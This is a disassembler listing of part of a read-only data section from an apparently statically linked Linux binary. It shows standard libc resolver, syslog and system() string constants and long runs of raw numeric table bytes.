aOn		db 'on',0               ; DATA XREF: init_services+432o
					; init_services+576o ...
aOff		db 'off',0              ; DATA XREF: init_services+47Fo
					; init_services+5C3o ...
aNospoof	db 'nospoof',0          ; DATA XREF: init_services+4D2o
					; init_services+5FCo ...
aAlert		db 'alert',0            ; DATA XREF: init_services+616o
					; init_services+740o ...
aReorder	db 'reorder',0          ; DATA XREF: init_services+75Ao
					; init_services+884o ...
aTrim		db 'trim',0             ; DATA XREF: init_services+8F2o
					; init_services+9B8o
aResolv_serv_or	db 'RESOLV_SERV_ORDER',0 ; DATA XREF: init_services+A5Eo
aResolv_spoof_c	db 'RESOLV_SPOOF_CHECK',0 ; DATA XREF: init_services+B6Ao
aWarn		db 'warn',0             ; DATA XREF: init_services+B83o
aWarnOff	db 'warn off',0         ; DATA XREF: init_services+C06o
aResolv_multi	db 'RESOLV_MULTI',0     ; DATA XREF: init_services+C4Eo
aResolv_reorder	db 'RESOLV_REORDER',0   ; DATA XREF: init_services+CA2o
aResolv_add_tri	db 'RESOLV_ADD_TRIM_DOMAINS',0 ; DATA XREF: init_services+CF6o
aResolv_overrid	db 'RESOLV_OVERRIDE_TRIM_DOMAINS',0 ; DATA XREF: init_services+D77o
aGethostby_geta	db 'gethostby*.getanswer: asked for "%s", got CNAME for "%s"',0
					; DATA XREF: sub_804B800+263o
aGethostby_ge_0	db 'gethostby*.getanswer: asked for type %d(%s), got %d(%s)',0
					; DATA XREF: sub_804B800+3B1o
aSizeDTooBig	db 'size (%d) too big',0Ah,0 ; DATA XREF: sub_804B800+55Fo
aTooManyAddress	db 'Too many addresses (%d)',0Ah,0 ; DATA XREF: sub_804B800+59Ao
aHosts_byname	db 'hosts.byname',0     ; DATA XREF: .text:0804BF1Co
					; gethostbyname+22Eo ...
aRes_searchFail	db 'res_search failed',0Ah,0 ; DATA XREF: gethostbyname+15Do
aU_U_U_U_inAddr	db '%u.%u.%u.%u.in-addr.arpa',0 ; DATA XREF: .text:0804C2E2o
aRes_queryFaile	db 'res_query failed',0Ah,0 ; DATA XREF: .text:0804C317o
aResolv		db 'resolv',0           ; DATA XREF: .text:0804C436o
aGethostbyaddrS	db 'gethostbyaddr: %s != %u.%u.%u.%u, possible spoof attempt',0
					; DATA XREF: .text:0804C459o
aU_U_U_U_0	db '%u.%u.%u.%u',0      ; DATA XREF: .text:0804C4EAo
aHosts_byaddr	db 'hosts.byaddr',0     ; DATA XREF: .text:0804C4F5o
asc_8067BFB	db '#',0Ah,0            ; DATA XREF: _gethtent+71o
asc_8067BFE	db '/&',0               ; DATA XREF: res_init+4E8o
					; res_init+549o
aLocaldomain	db 'LOCALDOMAIN',0      ; DATA XREF: res_init+C0o
aR_0		db 'r',0                ; DATA XREF: res_init+170o
aEtcResolv_conf	db '/etc/resolv.conf',0 ; DATA XREF: res_init+175o
aDomain		db 'domain',0           ; DATA XREF: res_init+1D3o
asc_8067C27	db ' ',9,0Ah,0          ; DATA XREF: res_init+251o
aSearch		db 'search',0           ; DATA XREF: res_init+27Eo
aNameserver	db 'nameserver',0       ; DATA XREF: res_init+396o
aSortlist	db 'sortlist',0         ; DATA XREF: res_init+45Ao
aOptions	db 'options',0          ; DATA XREF: res_init+606o
aConf		db 'conf',0             ; DATA XREF: res_init+638o
aRes_options	db 'RES_OPTIONS',0      ; DATA XREF: res_init+6EEo
aEnv		db 'env',0              ; DATA XREF: res_init+701o
aRes_setoptions	db ';; res_setoptions("%s", "%s")...',0Ah,0 ; DATA XREF: sub_804DE68+1Do
aNdots		db 'ndots:',0           ; DATA XREF: sub_804DE68+3Do
aNdotsD		db ';;',9,'ndots=%d',0Ah,0 ; DATA XREF: sub_804DE68+92o
aDebug		db 'debug',0            ; DATA XREF: sub_804DE68+A6o
aRes_setoptio_0	db ';; res_setoptions("%s", "%s")..',0Ah,0 ; DATA XREF: sub_804DE68+C3o
aDebug_0	db ';;',9,'debug',0Ah,0 ; DATA XREF: sub_804DE68+D7o
aRes_querySDD	db ';; res_query(%s, %d, %d)',0Ah,0 ; DATA XREF: res_query+4Fo
aRes_queryMkque	db ';; res_query: mkquery failed',0Ah,0 ; DATA XREF: res_query+8Do
aRes_querySendE	db ';; res_query: send error',0Ah,0 ; DATA XREF: res_query+CFo
aRcodeDAncountD	db ';; rcode = %d, ancount=%d',0Ah,0 ; DATA XREF: res_query+119o
aNil		db '<Nil>',0            ; DATA XREF: sub_804E398+57o
aRes_querydomai	db ';; res_querydomain(%s, %s, %d, %d)',0Ah,0 ; DATA XREF: sub_804E398+5Eo
; static a_S(void)
a_S__S		db '%.*s.%.*s',0        ; DATA XREF: sub_804E398+C0o
aHostaliases	db 'HOSTALIASES',0      ; DATA XREF: __hostalias+19o
aR_1		db 'r',0                ; DATA XREF: __hostalias+2Eo
aRes_sendSS_US	db 'res_send: %s ([%s].%u): %s',0Ah,0 ; DATA XREF: Aerror+3Fo
aRes_sendSS	db 'res_send: %s: %s',0Ah,0 ; DATA XREF: sub_804E694+26o
aRes_send	db ';; res_send()',0Ah,0 ; DATA XREF: res_send+47o
aQueryingServer	db ';; Querying server (# %d) address = %s',0Ah,0 ; DATA XREF: res_send+18Eo
aSocketVc	db 'socket(vc)',0       ; DATA XREF: res_send+AA5o
aConnectVc	db 'connect/vc',0       ; DATA XREF: res_send+24Co
aWriteFailed	db 'write failed',0     ; DATA XREF: res_send+2CAo
aReadFailed	db 'read failed',0      ; DATA XREF: res_send+346o
aResponseTrunca	db ';; response truncated',0Ah,0 ; DATA XREF: res_send+3B3o
aReadVc		db 'read(vc)',0         ; DATA XREF: res_send+438o
aSocketDg	db 'socket(dg)',0       ; DATA XREF: res_send+AC4o
aConnectDg	db 'connect(dg)',0      ; DATA XREF: res_send+550o
aSend		db 'send',0             ; DATA XREF: res_send+58Do
aSendto		db 'sendto',0           ; DATA XREF: res_send+63Bo
aSelect		db 'select',0           ; DATA XREF: res_send+6FBo
aTimeout	db ';; timeout',0Ah,0   ; DATA XREF: res_send+715o
aRecvfrom	db 'recvfrom',0         ; DATA XREF: res_send+782o
aOldAnswer	db ';; old answer:',0Ah,0 ; DATA XREF: res_send+7D4o
aNotOurServer	db ';; not our server:',0Ah,0 ; DATA XREF: res_send+82Ao
aWrongQueryName	db ';; wrong query name:',0Ah,0 ; DATA XREF: res_send+877o
aServerRejected	db 'server rejected query:',0Ah,0 ; DATA XREF: res_send+8C2o
aTruncatedAnswe	db ';; truncated answer',0Ah,0 ; DATA XREF: res_send+925o
aGotAnswer	db ';; got answer:',0Ah,0 ; DATA XREF: res_send+966o
unk_8067EE3	db    0	;		; DATA XREF: res_send+98Ao
aNull		db '(null)',0           ; DATA XREF: _IO_vfprintf+12CCo
					; _IO_vfprintf+2D10o
unk_8067EEB	db    0	;		; DATA XREF: _IO_vfprintf+12E0o
					; _IO_vfprintf+2D24o
aNil_0		db '(nil)',0            ; DATA XREF: _IO_vfprintf+1464o
					; _IO_vfprintf+2EE4o
aN6		db '█6',0               ; DATA XREF: sub_8052DE8+43o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db  1Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db  2Dh	; -
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db  1Bh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db  23h	; #
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db  1Ch	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ch	; L
		db  1Dh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  30h	; 0
		db  20h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  44h	; D
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db  1Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db  1Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db  24h	; $
		db    6	;  
		db    8	;  
unk_8067F84	db  4Eh	; N		; DATA XREF: sub_8053310+1A5o
		db  61h	; a
		db  4Eh	; N
		db    0	;  
unk_8067F88	db  49h	; I		; DATA XREF: sub_8053310+131o
					; sub_8053310+1CCo
		db  6Eh	; n
		db  66h	; f
		db    0	;  
aSyslog		db 'syslog',0           ; DATA XREF: sub_8054E54+34o
aD_15s		db '<%d>%.15s ',0       ; DATA XREF: sub_8054EC8+8Ao
aD		db '[%d]',0             ; DATA XREF: sub_8054EC8+F9o
aTruncated	db '[truncated] ',0     ; DATA XREF: sub_8054EC8+17Co
					; sub_8054EC8+1F1o ...
aS		db '%s',0               ; DATA XREF: sub_8054EC8+1D9o
asc_8067FB3	db 0Ah,0		; DATA XREF: sub_8054EC8+2FFo
aDevConsole	db '/dev/console',0     ; DATA XREF: sub_8054EC8+387o
asc_8067FC2	db 0Dh,0Ah,0		; DATA XREF: sub_8054EC8+39Ao
aDevLog		db '/dev/log',0         ; DATA XREF: sub_80552B0+41o
aSh_0		db 'sh',0               ; DATA XREF: system+DDo
aC_0		db '-c',0               ; DATA XREF: system+E4o
aBinSh_0	db '/bin/sh',0          ; DATA XREF: system+129o
unk_8067FDC	db    0	;		; DATA XREF: .rodata:08068DACo
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_8067FE8	db    0	;		; DATA XREF: .rodata:08068DBCo
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  64h	; d
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  10h	;  
		db  27h	; '
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E1h	; А
		db 0F5h	; У
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db  6Fh	; o
		db 0F2h	; Р
		db  86h	; ├
		db  23h	; #
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  81h	; │
		db 0EFh	; О
		db 0ACh	; ╛
		db  85h	; ┘
		db  5Bh	; [
		db  41h	; A
		db  6Dh	; m
		db  2Dh	; -
		db 0EEh	; Н
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db  1Fh	;  
		db  6Ah	; j
		db 0BFh	; ©
		db  64h	; d
		db 0EDh	; М
		db  38h	; 8
		db  6Eh	; n
		db 0EDh	; М
		db  97h	; ≈
		db 0A7h	; ї
		db 0DAh	; з
		db 0F4h	; Т
		db 0F9h	; Ы
		db  3Fh	; ?
		db 0E9h	; И
		db    3	;  
		db  4Fh	; O
		db  18h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db  3Eh	; >
		db  95h	; ∙
		db  2Eh	; .
		db    9	;  
		db  99h	; ≥
		db 0DFh	; ъ
		db    3	;  
		db 0FDh	; Щ
		db  38h	; 8
		db  15h	;  
		db  0Fh	;  
		db  2Fh	; /
		db 0E4h	; Д
		db  74h	; t
		db  23h	; #
		db 0ECh	; Л
		db 0F5h	; У
		db 0CFh	; о
		db 0D3h	; с
		db    8	;  
		db 0DCh	; э
		db    4	;  
		db 0C4h	; д
		db 0DAh	; з
		db 0B0h	; ╟
		db 0CDh	; м
		db 0BCh	; ╪
		db  19h	;  
		db  7Fh	; 
		db  33h	; 3
		db 0A6h	; і
		db    3	;  
		db  26h	; &
		db  1Fh	;  
		db 0E9h	; И
		db  4Eh	; N
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db  7Ch	; |
		db  2Eh	; .
		db  98h	; ≤
		db  5Bh	; [
		db  87h	; ┤
		db 0D3h	; с
		db 0BEh	; Ў
		db  72h	; r
		db  9Fh	; ÷
		db 0D9h	; ы
		db 0D8h	; ь
		db  87h	; ┤
		db  2Fh	; /
		db  15h	;  
		db  12h	;  
		db 0C6h	; ф
		db  50h	; P
		db 0DEh	; ч
		db  6Bh	; k
		db  70h	; p
		db  6Eh	; n
		db  4Ah	; J
		db 0CFh	; о
		db  0Fh	;  
		db 0D8h	; ь
		db  95h	; ∙
		db 0D5h	; у
		db  6Eh	; n
		db  71h	; q
		db 0B2h	; ╡
		db  26h	; &
		db 0B0h	; ╟
		db  66h	; f
		db 0C6h	; ф
		db 0ADh	; ґ
		db  24h	; $
		db  36h	; 6
		db  15h	;  
		db  1Dh	;  
		db  5Ah	; Z
		db 0D3h	; с
		db  42h	; B
		db  3Ch	; <
		db  0Eh	;  
		db  54h	; T
		db 0FFh	;  
		db  63h	; c
		db 0C0h	; ю
		db  73h	; s
		db  55h	; U
		db 0CCh	; л
		db  17h	;  
		db 0EFh	; О
		db 0F9h	; Ы
		db  65h	; e
		db 0F2h	; Р
		db  28h	; (
		db 0BCh	; ╪
		db  55h	; U
		db 0F7h	; В
		db 0C7h	; г
		db 0DCh	; э
		db  80h	; ─
		db 0DCh	; э
		db 0EDh	; М
		db  6Eh	; n
		db 0F4h	; Т
		db 0CEh	; н
		db 0EFh	; О
		db 0DCh	; э
		db  5Fh	; _
		db 0F7h	; В
		db  53h	; S
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db 0F8h	; Ь
		db  6Ch	; l
		db 0FCh	; Э
		db  67h	; g
		db  72h	; r
		db 0F2h	; Р
		db  77h	; w
		db 0DCh	; э
		db  46h	; F
		db  95h	; ∙
		db  8Fh	; ▐
		db  6Fh	; o
		db  97h	; ≈
		db  96h	; √
		db  5Dh	; ]
		db  97h	; ≈
		db  8Ah	; ┼
		db  3Ah	; :
		db 0B8h	; ╦
		db 0D9h	; ы
		db  1Ah	;  
		db  1Eh	;  
		db 0C3h	; ц
		db  13h	;  
		db    5	;  
		db 0C4h	; д
		db  46h	; F
		db  47h	; G
		db  57h	; W
		db 0E6h	; Ф
		db  94h	; ■
		db 0C1h	; а
		db  76h	; v
		db  89h	; ┴
		db 0C8h	; х
		db  79h	; y
		db 0B5h	; ╣
		db  75h	; u
		db  44h	; D
		db  3Bh	; ;
		db  73h	; s
		db 0F8h	; Ь
		db  28h	; (
		db 0BFh	; ©
		db 0A1h	; ║
		db  1Dh	;  
		db 0AAh	; ╙
		db  21h	; !
		db 0D3h	; с
		db  3Eh	; >
		db  70h	; p
		db 0EAh	; Й
		db 0CFh	; о
		db  25h	; %
		db  1Eh	;  
		db  22h	; "
		db  2Fh	; /
		db  1Ah	;  
		db 0B2h	; ╡
		db  2Eh	; .
		db 0FBh	; Ш
		db  51h	; Q
		db 0BCh	; ╪
		db  5Dh	; ]
		db  4Fh	; O
		db 0E1h	; А
		db  96h	; √
		db 0ACh	; ╛
		db 0EDh	; М
		db 0A3h	; ё
		db 0BFh	; ©
		db 0AEh	; ў
		db  57h	; W
		db  9Ch	; °
		db  32h	; 2
		db  53h	; S
		db  71h	; q
		db 0FCh	; Э
		db 0E7h	; Г
		db  95h	; ∙
		db    6	;  
		db 0FCh	; Э
		db 0C3h	; ц
		db  24h	; $
		db  19h	;  
		db 0A9h	; ╘
		db  85h	; ┘
		db  5Eh	; ^
		db  63h	; c
		db  5Fh	; _
		db 0F9h	; Ы
		db 0E0h	; Ю
		db  8Eh	; ▌
		db  90h	; ░
		db 0B2h	; ╡
		db 0E4h	; Д
		db 0ADh	; ґ
		db 0ABh	; ╚
		db  93h	; ⌠
		db  2Ah	; *
		db  73h	; s
		db  66h	; f
		db  13h	;  
		db  5Ch	; \
		db  77h	; w
		db  49h	; I
		db  94h	; ■
		db  0Eh	;  
		db  5Bh	; [
		db 0BEh	; Ў
		db  69h	; i
		db 0ACh	; ╛
		db 0AFh	; ╞
		db  43h	; C
		db  73h	; s
		db  81h	; │
		db 0BCh	; ╪
		db  99h	; ≥
		db 0B0h	; ╟
		db  46h	; F
		db  1Dh	;  
		db 0A7h	; ї
		db  45h	; E
		db  48h	; H
		db  97h	; ≈
		db  69h	; i
		db 0A2h	; ╒
		db    3	;  
		db  73h	; s
		db 0B0h	; ╟
		db  8Ch	; ▄
		db  13h	;  
		db  1Fh	;  
		db  0Bh	;  
		db  8Ah	; ┼
		db  97h	; ≈
		db  8Ah	; ┼
		db 0ABh	; ╚
		db  8Ch	; ▄
		db 0D9h	; ы
		db  38h	; 8
		db 0D2h	; р
		db 0C1h	; а
		db 0D4h	; т
		db  15h	;  
		db  34h	; 4
		db  63h	; c
		db  1Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db 0F0h	; П
		db  19h	;  
		db  29h	; )
		db  72h	; r
		db  2Bh	; +
		db  5Bh	; [
		db 0F5h	; У
		db  5Bh	; [
		db  21h	; !
		db  7Ch	; |
		db  6Eh	; n
		db  86h	; ├
		db  9Fh	; ÷
		db 0C2h	; б
		db  1Eh	;  
		db  87h	; ┤
		db  4Eh	; N
		db  1Ch	;  
		db  99h	; ≥
		db  88h	; ┬
		db  1Ah	;  
		db 0C5h	; е
		db  15h	;  
		db  35h	; 5
		db 0C5h	; е
		db  0Ah	;  
		db  14h	;  
		db  1Ah	;  
		db  1Eh	;  
		db  7Dh	; }
		db  4Ch	; L
		db  19h	;  
		db 0D8h	; ь
		db  2Ch	; ,
		db 0CCh	; л
		db  0Eh	;  
		db  44h	; D
		db 0D1h	; я
		db  0Eh	;  
		db 0EEh	; Н
		db  34h	; 4
		db  66h	; f
		db  89h	; ┴
		db 0FBh	; Ш
		db  6Ch	; l
		db 0E1h	; А
		db  7Dh	; }
		db  1Fh	;  
		db 0F6h	; Ж
		db  43h	; C
		db  1Eh	;  
		db  7Dh	; }
		db  83h	; ┐
		db 0CEh	; н
		db  9Fh	; ÷
		db  9Ch	; °
		db  2Bh	; +
		db  1Dh	;  
		db  23h	; #
		db 0C7h	; г
		db  55h	; U
		db  3Eh	; >
		db  23h	; #
		db 0D7h	; в
		db  60h	; `
		db 0DCh	; э
		db  65h	; e
		db  8Bh	; ▀
		db  21h	; !
		db  51h	; Q
		db 0F4h	; Т
		db  34h	; 4
		db 0D1h	; я
		db  5Ch	; \
		db  1Ch	;  
		db  86h	; ├
		db  59h	; Y
		db  63h	; c
		db 0C9h	; и
		db  9Fh	; ÷
		db 0BBh	; ╩
		db  2Bh	; +
		db  92h	; ▓
		db  31h	; 1
		db  94h	; ■
		db 0E8h	; Х
		db 0A7h	; ї
		db    7	;  
		db  2Ah	; *
		db  9Fh	; ÷
		db  9Fh	; ÷
		db  5Ah	; Z
		db  69h	; i
		db 0BEh	; Ў
		db  62h	; b
		db 0C4h	; д
		db  42h	; B
		db  10h	;  
		db  8Eh	; ▌
		db  74h	; t
		db  7Ah	; z
		db  5Bh	; [
		db    4	;  
		db 0E3h	; Ц
		db  1Dh	;  
		db 0BEh	; Ў
		db  1Ah	;  
		db 0A5h	; ╔
		db  22h	; "
		db 0D8h	; ь
		db  8Ah	; ┼
		db  11h	;  
		db 0C4h	; д
		db  34h	; 4
		db 0BAh	; ╨
		db    5	;  
		db 0B5h	; ╣
		db  14h	;  
		db 0D8h	; ь
		db 0B3h	; Ё
		db 0DEh	; ч
		db  3Fh	; ?
		db 0BFh	; ©
		db  16h	;  
		db  1Ah	;  
		db 0C5h	; е
		db  8Fh	; ▐
		db 0BCh	; ╪
		db  96h	; √
		db 0B8h	; ╦
		db 0B1h	; ╠
		db 0ECh	; Л
		db 0EEh	; Н
		db  6Dh	; m
		db 0F5h	; У
		db 0FDh	; Щ
		db  6Bh	; k
		db 0FBh	; Ш
		db  31h	; 1
		db  4Bh	; K
		db  65h	; e
		db 0F4h	; Т
		db 0B6h	; І
		db  16h	;  
		db  36h	; 6
		db  1Ah	;  
		db  10h	;  
		db 0FBh	; Ш
		db  95h	; ∙
		db  75h	; u
		db  6Bh	; k
		db 0FEh	; Ч
		db  47h	; G
		db  1Ah	;  
		db 0DCh	; э
		db  89h	; ┴
		db  80h	; ─
		db 0D9h	; ы
		db  80h	; ─
		db 0A5h	; ╔
		db 0A5h	; ╔
		db 0BDh	; Ґ
		db  80h	; ─
		db  82h	; ┌
		db  28h	; (
		db  20h	;  
		db  9Ah	;  
		db  66h	; f
		db  0Fh	;  
		db 0EBh	; К
		db  31h	; 1
		db  90h	; ░
		db  1Fh	;  
		db  8Fh	; ▐
		db 0FCh	; Э
		db  10h	;  
		db  33h	; 3
		db  6Ah	; j
		db  97h	; ≈
		db  7Eh	; ~
		db  7Bh	; {
		db  6Ah	; j
		db 0E2h	; Б
		db  8Ah	; ┼
		db  36h	; 6
		db  68h	; h
		db 0DFh	; ъ
		db 0B8h	; ╦
		db 0A0h	; ═
		db 0E3h	; Ц
		db  3Ch	; <
		db 0CEh	; н
		db  62h	; b
		db  42h	; B
		db  8Eh	; ▌
		db 0A2h	; ╒
		db  51h	; Q
		db 0A3h	; ё
		db  75h	; u
		db 0C9h	; и
		db 0B6h	; І
		db 0B0h	; ╟
		db  6Ch	; l
		db  83h	; ┐
		db  75h	; u
		db  59h	; Y
		db  44h	; D
		db  3Fh	; ?
		db  65h	; e
		db 0B5h	; ╣
		db  31h	; 1
		db  8Ah	; ┼
		db 0E3h	; Ц
		db  56h	; V
		db 0C3h	; ц
		db 0A6h	; і
		db 0ABh	; ╚
		db 0FAh	; З
		db  35h	; 5
		db 0A0h	; ═
		db 0FBh	; Ш
		db  90h	; ░
		db    1	;  
		db  52h	; R
		db 0EDh	; М
		db 0C4h	; д
		db  9Fh	; ÷
		db  1Bh	;  
		db  49h	; I
		db 0BCh	; ╪
		db  88h	; ┬
		db  4Ah	; J
		db  11h	;  
		db  40h	; @
		db  16h	;  
		db  41h	; A
		db  80h	; ─
		db  5Bh	; [
		db    0	;  
		db  5Eh	; ^
		db  23h	; #
		db 0F3h	; С
		db 0F4h	; Т
		db  49h	; I
		db  46h	; F
		db  8Dh	; █
		db  1Eh	;  
		db    6	;  
		db 0DEh	; ч
		db 0A8h	; ╗
		db  36h	; 6
		db  49h	; I
		db  53h	; S
		db 0C5h	; е
		db  73h	; s
		db  2Ah	; *
		db 0BDh	; Ґ
		db 0E6h	; Ф
		db 0A7h	; ї
		db  0Ch	;  
		db  97h	; ≈
		db 0A6h	; і
		db 0C1h	; а
		db  94h	; ■
		db  70h	; p
		db  18h	;  
		db  47h	; G
		db 0EFh	; О
		db  49h	; I
		db 0DBh	; ш
		db 0D2h	; р
		db  5Bh	; [
		db  3Fh	; ?
		db  6Ch	; l
		db  92h	; ▓
		db 0D4h	; т
		db    9	;  
		db  62h	; b
		db 0AEh	; ў
		db  49h	; I
		db  39h	; 9
		db  43h	; C
		db  2Dh	; -
		db 0C6h	; ф
		db 0A3h	; ё
		db 0F4h	; Т
		db  34h	; 4
		db  94h	; ■
		db  5Dh	; ]
		db  30h	; 0
		db 0D4h	; т
		db    5	;  
		db  1Ah	;  
		db 0D6h	; ж
		db 0D9h	; ы
		db  25h	; %
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
